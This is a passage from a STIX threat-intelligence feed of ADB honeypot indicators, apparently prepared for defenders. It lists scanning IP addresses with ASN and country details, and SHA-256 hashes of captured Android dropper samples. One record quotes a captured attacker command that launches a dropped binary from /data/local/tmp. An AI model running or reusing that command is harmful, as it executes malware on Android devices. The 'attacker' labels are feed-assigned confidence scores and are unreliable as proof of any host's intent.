          "last_seen": "2026-04-05T10:43:18.793Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KZ"
          ],
          "asn": [
            "200590"
          ],
          "org": [
            "NLS Kazakhstan LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-05T12:32:26.000Z | last_seen=2026-04-05T17:21:16.114Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--e31cf679-f499-41c4-a227-75497e4dd1c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '134.122.59.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:00:02.000Z",
      "valid_until": "2026-05-07T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-05T12:32:26.000Z",
          "last_seen": "2026-04-05T17:21:16.114Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=HK; asn=9304; asn_org=HGC Global Communications Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-05T12:37:24.000Z | last_seen=2026-04-05T12:39:00.052Z | ports=5555 | cc=HK | asn=9304 | org=HGC Global Communications Limited",
      "id": "indicator--0ba46c9e-255c-4901-bc97-c3f97474d2ba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '221.127.189.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T13:00:02.000Z",
      "valid_until": "2026-05-07T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-05T12:37:24.000Z",
          "last_seen": "2026-04-05T12:39:00.052Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9304"
          ],
          "org": [
            "HGC Global Communications Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=10971; asn_org=Cass Cable TV, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-05T14:50:28.000Z | last_seen=2026-04-05T15:00:37.930Z | ports=5555 | cc=US | asn=10971 | org=Cass Cable TV, Inc.",
      "id": "indicator--24c5345e-9948-4aaa-ab22-3d1d601838af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '24.52.140.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T15:00:03.000Z",
      "valid_until": "2026-05-07T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-05T14:50:28.000Z",
          "last_seen": "2026-04-05T15:00:37.930Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10971"
          ],
          "org": [
            "Cass Cable TV, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-05T14:06:48.000Z | last_seen=2026-04-27T03:02:29.131Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--331267fa-c56d-4819-bd01-e2f37639f311",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T15:00:03.000Z",
      "valid_until": "2026-05-07T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-05T14:06:48.000Z",
          "last_seen": "2026-04-27T03:02:29.131Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-05T14:07:45.000Z | last_seen=2026-04-27T03:11:51.539Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T15:00:03.000Z",
      "valid_until": "2026-05-07T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-05T14:07:45.000Z",
          "last_seen": "2026-04-27T03:11:51.539Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T16:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RO; asn=12302; asn_org=Vodafone Romania S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-05T15:58:50.000Z | last_seen=2026-04-05T16:09:01.500Z | ports=5555 | cc=RO | asn=12302 | org=Vodafone Romania S.A.",
      "id": "indicator--1d64f2de-6753-48e7-a4bd-f4c3ff1e9a1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '213.233.88.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:00:05.000Z",
      "valid_until": "2026-05-07T16:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-05T15:58:50.000Z",
          "last_seen": "2026-04-05T16:09:01.500Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "12302"
          ],
          "org": [
            "Vodafone Romania S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T16:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=AR; asn=267897; asn_org=WABCOM S.A.S.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-05T15:37:10.000Z | last_seen=2026-04-05T15:47:18.679Z | ports=5555 | cc=AR | asn=267897 | org=WABCOM S.A.S.",
      "id": "indicator--d643fea8-d916-4abb-a4cd-eb225db1195f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.177.81.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T16:00:05.000Z",
      "valid_until": "2026-05-07T16:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-05T15:37:10.000Z",
          "last_seen": "2026-04-05T15:47:18.679Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AR"
          ],
          "asn": [
            "267897"
          ],
          "org": [
            "WABCOM S.A.S."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4433 | first_seen=2026-04-05T19:40:45.000Z | last_seen=2026-04-30T22:44:15.994Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:00:02.000Z",
      "valid_until": "2026-05-07T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4433,
          "first_seen": "2026-04-05T19:40:45.000Z",
          "last_seen": "2026-04-30T22:44:15.994Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T21:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=KE; asn=329437; asn_org=Veenet-Africa; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-05T20:57:58.000Z | last_seen=2026-04-05T21:08:03.847Z | ports=5555 | cc=KE | asn=329437 | org=Veenet-Africa",
      "id": "indicator--a9b407ca-f156-4e95-a603-53a3fdcdb7d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '102.209.18.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:00:14.000Z",
      "valid_until": "2026-05-07T21:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-05T20:57:58.000Z",
          "last_seen": "2026-04-05T21:08:03.847Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KE"
          ],
          "asn": [
            "329437"
          ],
          "org": [
            "Veenet-Africa"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T21:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/1cdb1a474d1aa7301ceb137f09083aff05c597694651ca123ff37f8777f82356.raw; last_seen=2026-04-05T20:23:11.206Z",
      "id": "indicator--e71122be-89e0-4b06-8d01-a2a66b22771e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '1cdb1a474d1aa7301ceb137f09083aff05c597694651ca123ff37f8777f82356']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T21:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/858d9659183cb8eaea14a8a391ef319cd723f1b6e5dba04adbfb799c8e3bbd73.raw; last_seen=2026-04-05T20:23:13.373Z",
      "id": "indicator--09ab2281-a8fb-45f5-b3a3-85a11ad8c723",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '858d9659183cb8eaea14a8a391ef319cd723f1b6e5dba04adbfb799c8e3bbd73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T21:00:14.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/a6d8c472a507c244e06a73fe1e8003615cb034f1cee6cc74cac7438ef3403ec8.raw; last_seen=2026-04-05T20:23:12.289Z",
      "id": "indicator--45f68784-5da8-444d-a291-aaef09f58523",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'a6d8c472a507c244e06a73fe1e8003615cb034f1cee6cc74cac7438ef3403ec8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T21:00:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-05T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=27 | first_seen=2026-04-05T22:00:25.000Z | last_seen=2026-04-05T22:11:19.982Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--938da464-7043-4aef-afe9-a87f4b4e4b96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T23:00:02.000Z",
      "valid_until": "2026-05-07T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 27,
          "first_seen": "2026-04-05T22:00:25.000Z",
          "last_seen": "2026-04-05T22:11:19.982Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-05T23:49:57.000Z | last_seen=2026-04-06T00:01:18.765Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--1dca32d0-c08c-40aa-ac31-c829f08aaf1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T00:00:02.000Z",
      "valid_until": "2026-05-08T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-05T23:49:57.000Z",
          "last_seen": "2026-04-06T00:01:18.765Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T00:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=HK; asn=17924; asn_org=SmarTone Mobile Communications Ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=3 | first_seen=2026-04-05T23:56:39.000Z | last_seen=2026-04-05T23:57:41.767Z | ports=5555 | cc=HK | asn=17924 | org=SmarTone Mobile Communications Ltd",
      "id": "indicator--1fe3e267-88bc-4249-9b9c-f52de94f24bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '49.131.255.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T00:00:02.000Z",
      "valid_until": "2026-05-08T00:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 3,
          "first_seen": "2026-04-05T23:56:39.000Z",
          "last_seen": "2026-04-05T23:57:41.767Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "17924"
          ],
          "org": [
            "SmarTone Mobile Communications Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T04:00:28.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T03:31:02.000Z | last_seen=2026-04-06T03:41:06.078Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--30b44f96-7229-40be-a808-2ff3d85963e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:00:28.000Z",
      "valid_until": "2026-05-08T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T03:31:02.000Z",
          "last_seen": "2026-04-06T03:41:06.078Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T04:00:28.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=56; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=27; cmd=\"/data/local/tmp/nohup /data/local/tmp/log\"\n\nObserved in ADBHoney telemetry for 2026-04. events=59 | first_seen=2026-04-06T03:53:07.000Z | last_seen=2026-04-06T04:05:54.967Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=608ee011537005f368c9731f4c4dee6a247b620cde52908ed0678df28c617971,7a48c93c5cb63a09505a009260d1cca8203285e0c1c6ff5b0df9cbb470820865,d4e8c642ac8485d2ac316f16b5ed2285c93734c62a3e1bc2852a49f3737053c5,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--d5709c13-87ae-49a9-bd62-5561784b027e",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '125.40.221.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:00:28.000Z",
      "valid_until": "2026-05-08T04:00:02.000Z",
      "indicator_types": [
